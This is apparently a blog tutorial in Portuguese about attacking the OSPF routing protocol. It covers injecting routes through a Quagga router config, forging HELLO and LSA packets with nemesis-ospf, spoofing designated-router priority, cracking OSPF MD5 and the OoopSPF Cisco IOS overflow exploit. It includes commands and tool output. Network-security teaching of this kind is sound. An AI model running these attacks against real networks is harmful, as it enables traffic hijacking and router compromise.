Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Ambientes com o protocolo OSPF.

Обновлено 24.09.2025 12:00

Petukhov Oleg, advogado de Direito Internacional e proteção de dados pessoais, especialista em informação segurança, proteção de informações e dados pessoais.

Canal do Telegram: https://t.me/protecaodaInformacao

Grupo em Telegram: https://t.me/protecaodaInformacao1

Site: https://legascom.ru

Correio eletrónico: online@legascom.ru

 

#segurançadaInformação #Segurançadainformação

O protocolo de roteamento OSPF (Open Shortest Path First) é mais adequado para redes IP grandes, dinâmicas e interconectadas com vários caminhos. Como regra, o protocolo de roteamento OSPF é usado para roteamento em redes corporativas contendo uma média de 50 redes locais e vários milhares de hosts.

Para um melhor entendimento, vamos comparar RIP e OSPF.

O OSPF é um protocolo link-state, ao contrário do RIP, que é um protocolo de vetor de distância. Cada roteador atualiza sua tabela de roteamento com base nos vetores de distância que recebe de seus vizinhos.

Ao usar o protocolo channel status, o roteador não troca informações de distância com seus vizinhos. Em lugar de, cada roteador verifica ativamente o estado de seus canais que conduzem a cada roteador vizinho e envia esta informação a seus outros vizinhos, que podem dirigir o fluxo de dados ao sistema autônomo. Cada roteador recebe informações sobre o status do canal e constrói uma tabela de roteamento completa com base nela.

Na rede apresentada, a rota com dois roteadores vermelhos será considerada ótima entre origem e destino. A razão para isso são os canais mais rápidos nessa rota.

Do ponto de vista prático, a principal diferença é que o protocolo channel status funciona muito mais rápido que o distance vector protocol. Deve-se notar que, no caso do protocolo channel status, a convergência da rede é muito mais rápida. O conceito de convergência de Protocolo geralmente se refere à estabilização da rede após quaisquer alterações, como falha do roteador ou falha do canal.

O OSPF igualmente difere do rasgo (como muitos outros protocolos de roteamento) que usa o IP diretamente. Isso significa que ele não usa UDP ou TCP. O OSPF tem seu próprio identificador, que é definido no campo protocolo no cabeçalho IP.

Consequentemente, os ataques ao OSPF são mais complexos do que no RIP. As principais dificuldades são as seguintes:

1) o roteador do invasor precisa emular o pacote HELLO para trocar informações de roteamento com outros roteadores.;

2) dependência da hierarquia de roteadores envolvidos na troca de informações de roteamento OSPF. Os roteadores envolvidos na troca podem ter níveis diferentes no esquema de roteamento hierárquico.

Levando em conta essas dificuldades, passaremos a considerar os principais ataques ao OSPF.

O objetivo desse ataque é apresentar a rota que passa pela máquina do invasor como tendo a maior taxa de transferência. Um dos critérios para escolher a rota ideal no OSPF é uma métrica calculada usando a fórmula

métrica = reference bandwidth / link bandwidth,

onde largura de banda de referência = 108, largura de banda do enlace é a largura de banda do canal.

Por exemplo, para canais com 100 Mbps, o valor da métrica é 1, Para 10 Mbps – 10 e assim por diante.

Assim, o atacante precisa de ajustar o valor métrico para sua rota a 1 a fim fazê-la uma prioridade.

!

! Zebra configuration saved from vty

! 2005/08/16 01:22:41

!

hostname legitimate.ospfd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

log file /var/log/quagga/ospfd.log

service advanced-vty

service password-encryption

!

!

interface eth0

description DMZ_Network

ip ospf authentication message-digest

ip ospf message-digest-key 1 md5 secret_key

!

interface eth1

!

interface 10

!

interface tun10

!

router ospf

ospf router-id 192.168.20.111

redistribute kernel

redistribute connected

network 192.168.20.0/24 area 0.0.0.0

area 0.0.0.0 authentication message-digest

!

line vty

exec-timeout 30 0

!

Quando a conexão à troca da rota OSPF foi terminada com sucesso, é necessário verificar o status atual da informação de rota usando o comando show ip opsf.:

legitimate.ospfd# show ip ospf

OSPF Routing Process, Router ID: 192.168.20.111

Supports only single TOS (TOS0) routes

This implementation conforms to RFC2328

RFC1583Compatibility flag is disabled

OpaqueCapability flag is disabled

SPF schedule delay 1 secs, Hold time between two SPFs 1 secs

Refresh timer 10 secs

This router is an ASBR (injecting external routing information)

Number of external LSA 4. Checksum Sum 0x00025f81

Number of opaque AS LSA 0. Checksum Sum 0x00000000

Number of areas attached to this router: 1

Area ID: 0.0.0.0 (Backbone)

Number of interfaces in this area: Total: 1, Active: 1

Number of fully adjacent neighbors in this area: 2

Area has message digest authentication

SPF algorithm executed 29 times

Number of LSA 9

Number of router LSA 4. Checksum Sum 0x00025166

Number of network LSA 1. Checksum Sum 0xffff90fa

Number of summary LSA 2. Checksum Sum 0x000166c2

Number of ASBR summary LSA 2. Checksum Sum 0x00014713

Number of NSSA LSA 0. Checksum Sum 0x00000000

Number of opaque link LSA 0. Checksum Sum 0x00000000

Number of opaque area LSA 0. Checksum Sum 0x00000000

Em seguida, adicione as rotas apropriadas.:

kali / # ip route add 64.100.0.0/14 dev eth0

kali / # ip route add 128.107.0.0/16 dev eth0

Certifique-se de que estas rotas estiveram adicionadas com sucesso à troca OSPF.:

legitimate.ospfd# sh ip ospf route

============ OSPF external routing table ===========

N E2 64.100.0.0/14 [10/20] tag: 0

via 192.168.66.111, eth0

N E2 128.107.0.0/16 [10/20] tag: 0

via 192.168.66.111, eth0

Como você entende, 192.168.66.111 é a máquina do atacante.

Para implementar esse ataque, você também pode usar o utilitário Nemesis mencionado anteriormente, ou melhor, sua modificação, projetada especificamente para trabalhar com o OSPF. Aqui está uma lista de opções para este utilitário:

kali / # ./nemesis-ospf

OSPF Packet Injection -=The NEMESIS Project 1.1

I 1999, 2000 obecian <obecian@celerity.bartoli.org>;

OSPF usage:

./nemesis-ospf [-v] [optlist]

OSPF Packet Types:

-p <OSPF Protocol>

-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),

-pN LSA (network), -pM LSA (summary), -pA LSA (AS)

OSPF HELLO options:

-N <Neighbor Router Address>

-i >Dead Router Interval>

-l <OSPF Interval>

OSPF DBD options:

-z <MAX DGRAM Length>

-x <Exchange Type>

OSPF LSU options:

-B <num of LSAs to bcast>

OSPF LSA related options:

-L <router id>

-G <LSA age>

OSPF LSA_RTR options:

-u <LSA_RTR num>

-y <LSA_RTR router type>

-k <LSA_RTR router data>

OSPF LSA_AS_EXT options:

-f <LSA_AS_EXT forward address>

-g <LSA_AS_EXT tag>

OSPF options:

-m <OSPF Metric>

-s <Sequence Number>

-r <Advertising Router Address>

-n >OSPF Netmask>

-O <OSPF Options>

-R <OSPF Router id>

-A <OSPF Area id>

-P <Payload File (Binary or ASCII)>

(-v VERBOSE packet struct to stdout)

IP Options

-S <Source Address>

-D <Destination Address>

-I <IP ID>

-T <IP TTL>

-t <IP/OSPF tos>

-F <IP frag>

-o <IP Options>

Data Link Options:

-d <Ethernet Device>

-H <Source MAC Address>

-M <Destination MAC Address>

Você deve especificar a origem, o destinatário, o protocolo e as opções correspondentes. Por exemplo, para enviar um pacote OSPF Neighbor Hello falso para o roteador, você precisa executar o seguinte comando:

Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1

Uma aplicação alternativa deste ataque pode ser a geração de atualizações Falsificadas OSPF LSA, que podem igualmente ser realizadas usando o nemesis.

Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1

Nós nos tornamos um roteador OSPF designado-ou designado de Backup.

Em redes médias e grandes que usam o protocolo OSPF, uma certa hierarquia de roteadores é usada. Em grandes redes que usam dezenas ou mesmo centenas de roteadores, manter as informações atualizadas consome muitos recursos. Uma hierarquia é usada para separar as tarefas de construção de tabelas de roteamento e redução da carga nos dispositivos. No nível superior dessa hierarquia, via de regra, o roteador mais produtivo está presente. Esse roteador é chamado de roteador designado. A finalidade deste dispositivo é transmitir eficientemente a informação de roteamento moderna a todos os roteadores envolvidos na troca OSPF.

Em caso de falha do roteador designado, ele deve ser substituído por um roteador designado de Backup, ou seja, um roteador de Nível Superior de backup.

O roteador designado é selecionado por votação com base na prioridade do roteador e seu endereço IP.

Um invasor pode tentar se tornar esse roteador designado.

Se DR for atribuída prioridade 255 e BDR for atribuída prioridade 254, é impossível ganhar a eleição. Entretanto, muitos administradores não utilizam valores de prioridade máxima, atribuindo DR e BDR 100 e 10 ou 2 e 1, respectivamente. Às vezes, DR e BDR recebem os endereços IP mais apropriados.

Assim, para que um invasor faça seu roteador projetado, basta estabelecer como o DR é selecionado e, com base nisso, falsificar a prioridade ou o endereço IP.

No Quagga, você pode definir a prioridade usando o seguinte comando:

ip ospf priority 255

Se o DR e o BDR tiverem valores de prioridade máxima, você poderá tentar desativá-los usando vários ataques de rede descritos neste livro e, em seguida, tentar substituir seu roteador falso.

Hacking OSPF MD5.

Para proteção, o protocolo OSPF usa autenticação MD5. Assim, por analogia com o hacking MD5 no protocolo RIP, essa proteção também pode ser hackeada aqui.

Isso exigirá Caim e Abel. O processo de hacking em si é semelhante ao descrito nos posts sobre hacking RIP, então não vamos descrevê-lo aqui.

Um ataque ao OSPF usando o Exploit OoopSPF. Os roteadores Cisco com versões 11.2, 11.3 e 12.0 do sistema operacional IOS podem transbordar o buffer ao receber um grande número pacotes HELLO OSPF. O conceito de implementação desta vulnerabilidade é apresentado no site oficial.:

arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump

***********************************************************************

IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),

RELEASE SOFTWARE (fc3)

IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin

MEMORY: 61440K/4096K

ARRAY: 82A7E210

PID RECORD STACK RETURNA RETURNV NAME

<skip>

90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello

150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router

<skip>

arhontus / # ./OoopSPF

Phenoelit OoopSPF

Cisco IOS OSPF remote exploit (11.2.-12.0)

(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>;

Usage:

./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>

Options:

-s <src net> Use this network as source (as in target config)

-n <src mask> Use this netmask as source (as in target config)

-d <target> This is the target router interface IP

-f <file> Use this as the new config for the router

-t # Use this target value set (see below)

-a <area> Use this OSPF area

-v Be verbose (-vv or -vvv recommended)

-D Directed attack (unicast) for 11.x targets

-T Test only – don't send

--- barely used options ---

-L # Number of neighbors to announce (overflow size)

-F # Start of data (seen reverse to overflow)

-S # NOP sleet

No próximo post, passaremos para as questões de segurança do OSPF routing protocol.